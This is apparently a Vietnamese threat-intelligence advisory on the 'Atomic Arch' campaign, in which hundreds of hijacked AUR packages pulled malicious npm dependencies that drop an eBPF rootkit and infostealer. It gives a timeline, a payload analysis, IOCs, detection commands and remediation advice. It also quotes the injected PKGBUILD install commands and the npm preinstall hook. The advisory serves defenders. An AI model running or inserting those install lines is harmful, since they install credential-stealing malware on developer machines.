Atomic Arch: 400+ gói AUR bị chiếm dụng để phát tán rootkit eBPF và infostealer

Tóm tắt
Một kẻ tấn công mạo danh (spoof) maintainer đáng tin cậy trên Arch User Repository (AUR) đã "nhận nuôi" và cài mã độc vào hơn 408 gói — và theo Sonatype, con số có thể đã lên tới khoảng 1.500 gói qua nhiều đợt. Mã độc không nằm trong gói AUR mà được kéo về qua một dependency npm độc hại (atomic-lockfile, sau đó là js-digest, lockfile-js) trong lúc cài đặt, rồi thả xuống một payload ELF Linux vừa đánh cắp thông tin xác thực (GitHub, SSH, HashiCorp Vault, cookie trình duyệt, Slack, Discord, Teams, Telegram) vừa mang khả năng rootkit eBPF chạy trong nhân để ẩn tiến trình, file và kết nối mạng.
Đối tượng bị ảnh hưởng trực tiếp không phải người dùng phổ thông mà là máy trạm của lập trình viên và môi trường build — chính những nơi tập trung nhiều bí mật (token, key, credential) nhất. Vì có rootkit, một máy đã nhiễm không thể coi là "sạch" sau khi gỡ gói.
Hành động quan trọng nhất ngay lúc này: tạm dừng mọi cập nhật qua AUR helper (yay, paru...) và chỉ dùng sudo pacman -Syu cho kho chính thức cho đến khi có thông báo an toàn; đồng thời rà soát máy của lập trình viên/CI runner chạy Arch theo IOC ở cuối bài.
Điều gì đã xảy ra
Chiến dịch — Sonatype đặt tên Atomic Arch — được công bố lần đầu ngày 11/06/2026 và leo thang nhanh qua ít nhất ba đợt:
| Mốc thời gian (UTC) | Diễn biến |
|---|---|
| 2026-06-11 | Đợt 1: PKGBUILD bị sửa thêm post-install script gọi npm install atomic-lockfile. Ban đầu tưởng chỉ vài chục gói. |
| 2026-06-12 | Đợt 2: dùng Bun thay cho npm để cài js-digest / lockfile-js. IFIN xác nhận 408+ gói. |
| 2026-06-14 ~07:00 | Đợt 3: cố che giấu (obfuscate) lệnh bun add, tham chiếu dependency nextfile-js. |
| 2026-06-15 ~15:00 | AUR registration bị vô hiệu hóa. |
Về quy mô, các nguồn chưa thống nhất và tôi giữ nguyên cả hai để bạn tự đánh giá: BleepingComputer và IFIN nói "hơn 400 / 408+ gói", trong khi Sonatype ước tính sơ bộ chiến dịch có thể ảnh hưởng tới khoảng 1.500 gói qua các đợt. Con số còn thay đổi khi maintainer tiếp tục rà soát.
Cơ chế tấn công
Điểm tinh vi nhất của Atomic Arch là nó không lừa người dùng cài cái mới, mà thừa kế lòng tin có sẵn. AUR cho phép bất kỳ ai "nhận nuôi" (adopt) một gói khi gói đó bị đánh dấu vô chủ (orphaned), rồi gửi thay đổi cho PKGBUILD — file Bash chứa hướng dẫn build của gói Arch. Kẻ tấn công tự động hóa việc săn các gói bị bỏ hoang, nhận nuôi hàng loạt, và chèn vào PKGBUILD một script chạy khi cài:
# Đợt 1 (npm) — post-install hook trong PKGBUILD đã bị sửa
npm install atomic-lockfile minimist chalk
# Đợt 2 (Bun) — chuyển sang Bun để né phát hiện
bun add js-digest
Gói npm độc hại lại định nghĩa một preinstall script trong package.json để thực thi binary ELF nhúng sẵn:
{ "scripts": { "preinstall": "./lib/install-deps.mjs" } }
Hệ quả quan trọng cho phòng thủ: bản thân gói AUR "đáng tin" không chứa mã độc. Mã độc nằm ở dependency được kéo về lúc cài, nên các công cụ chỉ quét nội dung gói gốc sẽ bỏ sót. Đây cũng chính là kỹ thuật từng thấy trong vụ axios (chèn dependency plain-crypto-js).
⚠️ Lỗi vận hành của kẻ tấn công: Gói
lockfile-jskhai báo cùngpreinstallhook nhưjs-digestnhưng bản publish lại thiếu thư mụclib/được tham chiếu — Sonatype dùng chính sai sót này (cùng các artifact metadata còn sót) để liên kết đợt 2 với chiến dịch gốc.
Phân tích payload
Kiến trúc eBPF cho phép chương trình chạy trong nhân Linux — bị lạm dụng ở đây để ẩn tiến trình/file/kết nối. (Nguồn: ebpf.io)
Payload là một executable ELF Linux (researcher Whanos đặt tên mẫu là deps) nhúng trong gói npm. Phân tích tĩnh chỉ ra bốn nhóm chức năng:
1. Rootkit eBPF
Binary tham chiếu một chương trình eBPF (scales.bpf.c) và các API libbpf — bpf_object__load, bpf_program__attach, bpf_map__pin. eBPF cho phép chạy mã trong nhân Linux với đặc quyền cao. Nó hook syscall getdents64() (dùng để liệt kê mục trong thư mục) và duy trì các eBPF map tên hidden_pids, hidden_names, hidden_inodes để ẩn tiến trình, file và inode khỏi công cụ liệt kê thông thường.
2. Infostealer
Các tham chiếu chuỗi trong binary cho thấy mục tiêu thu thập rộng, đặc trưng môi trường developer:
GitHub credentials, SSH artifacts, HashiCorp Vault tokens
Cơ sở dữ liệu cookie trình duyệt
Slack, Discord, Microsoft Teams, Telegram
Docker/Podman, npm, VPN material, shell histories (theo báo cáo Whanos) 3. Chống phân tích
Có logic phát hiện debugger qua PTRACE_ATTACH / PTRACE_SEIZE và dùng giao diện chẩn đoán socket NETLINK_SOCK_DIAG — dấu hiệu cố giảm khả năng bị quan sát và gây khó cho việc phân tích.
4. Exfiltration
Binary hỗ trợ nén/đóng gói archive, xử lý multipart form-data và upload HTTP (có tham chiếu POST /upload) — đủ cho một cơ chế trích xuất dữ liệu điển hình.
Đợt 2 dùng binary khác với
atomic-lockfilenhưng giữ phần lớn đặc điểm (eBPF, browser artifact, credential store, Slack/Discord) — kẻ tấn công đang tiến hóa công cụ nhưng giữ nguyên mục tiêu và tradecraft.
Attribution & lưu ý về nguồn
Một điểm cần cẩn trọng: bản báo cáo IFIN ban đầu cho rằng một tài khoản maintainer đã biết chịu trách nhiệm, nhưng sau đó đính chính rằng tài khoản đó bị mạo danh (spoofed) — không phải bị chiếm. Đây là khác biệt quan trọng khi quy kết. Gói npm atomic-lockfile do người dùng herbsobering đăng (Socket.dev ghi nhận 134 lượt tải); tìm username này trên GitHub dẫn tới một image container có vẻ là công cụ reverse shell/proxy. Chưa có quy kết tới nhóm APT cụ thể nào.
Về định danh lỗ hổng: Sonatype theo dõi chiến dịch dưới mã nội bộ Sonatype-2026-003775 (đợt 1, CVSS 8.7) và Sonatype-2026-003808 (đợt 2). Đây là điểm CVSS do Sonatype gán, không phải CVE chính thức từ NVD/MITRE.
Phát hiện & Săn lùng
Kiểm tra gói bị nhiễm (không tải script lạ về chạy):
# So khớp gói AUR đang cài với danh sách công khai do cộng đồng duy trì
echo "Affected Packages Found:"; \
comm -12 <(pacman -Qqm | sort) \
<(curl -s https://cscs.pastes.sh/raw/aurvulnlist20260611.txt | sort) | \
{ read -r l && printf '%s\n' "$l" || echo "None known."; }
Săn rootkit eBPF — liệt kê eBPF map và tìm tên đáng ngờ:
sudo bpftool map list | grep -E 'hidden_pids|hidden_names|hidden_inodes'
Mạng: chặn lưu lượng Tor outbound khỏi mạng (khuyến nghị chung từ IFIN, áp dụng cho cả tổ chức không dùng Arch). Trong môi trường SOC, đây là một quy tắc dễ triển khai trên firewall/proxy và có giá trị phát hiện cao với nhiều họ mã độc, không riêng chiến dịch này.
Tạm thời tránh chạy yay -Syu / paru hay bất kỳ AUR helper nào; chỉ sudo pacman -Syu cho kho chính thức cho tới khi có thông báo an toàn.
Indicators of Compromise (IOC)
| Loại | Giá trị |
|---|---|
| npm package (đợt 1) | atomic-lockfile (publisher: herbsobering) |
| npm package (đợt 2) | js-digest, lockfile-js |
| npm package (đợt 3, obfuscated) | nextfile-js |
| eBPF program ref | scales.bpf.c |
| eBPF map names | hidden_pids, hidden_names, hidden_inodes |
| Syscall bị hook | getdents64() |
| Tên mẫu ELF | deps |
SHA256 (ELF nhúng trong js-digest) |
7883bda1ff15425f2dbe622c45a3ae105ddfa6175009bbf0b0cad9bf5c79b316 |
| Exfil endpoint ref | POST /upload |
| Tracking IDs | Sonatype-2026-003775 (CVSS 8.7), Sonatype-2026-003808 |
Tham khảo thêm IOC chi tiết trong báo cáo phân tích của ioctl.fail (báo cáo này là single source cho phần decompile chi tiết — cân nhắc khi sử dụng).
Khuyến nghị
Coi mọi host đã cài/cập nhật gói AUR nhiễm là đã bị xâm nhập. Gỡ gói là chưa đủ — có rootkit nghĩa là không còn cơ sở để tin tưởng hệ thống; cân nhắc cài lại Arch từ đầu.
Rotate toàn bộ credential trên các máy nghi nhiễm: GitHub/SSH key, Vault token, cookie phiên, token Slack/Discord/Teams.
Tạm dừng AUR helper, chỉ cập nhật qua
pacmankho chính thức; ưu tiên gói có cộng đồng hoạt động và cập nhật thường xuyên.Chặn Tor outbound và hunt eBPF map
hidden_*trên toàn fleet developer/CI runner.
Nguồn tham khảo
BleepingComputer — Over 400 Arch Linux packages compromised to push rootkit, infostealer (2026-06-12)
IFIN / Independent Federated Intelligence Network — 400+ AUR Packages Compromised with Infostealer and Rootkit (cập nhật 2026-06-15)
Sonatype Security Research Team — Atomic Arch: npm Campaign Adds Malicious Dependency (2026-06-11, cập nhật 2026-06-12)





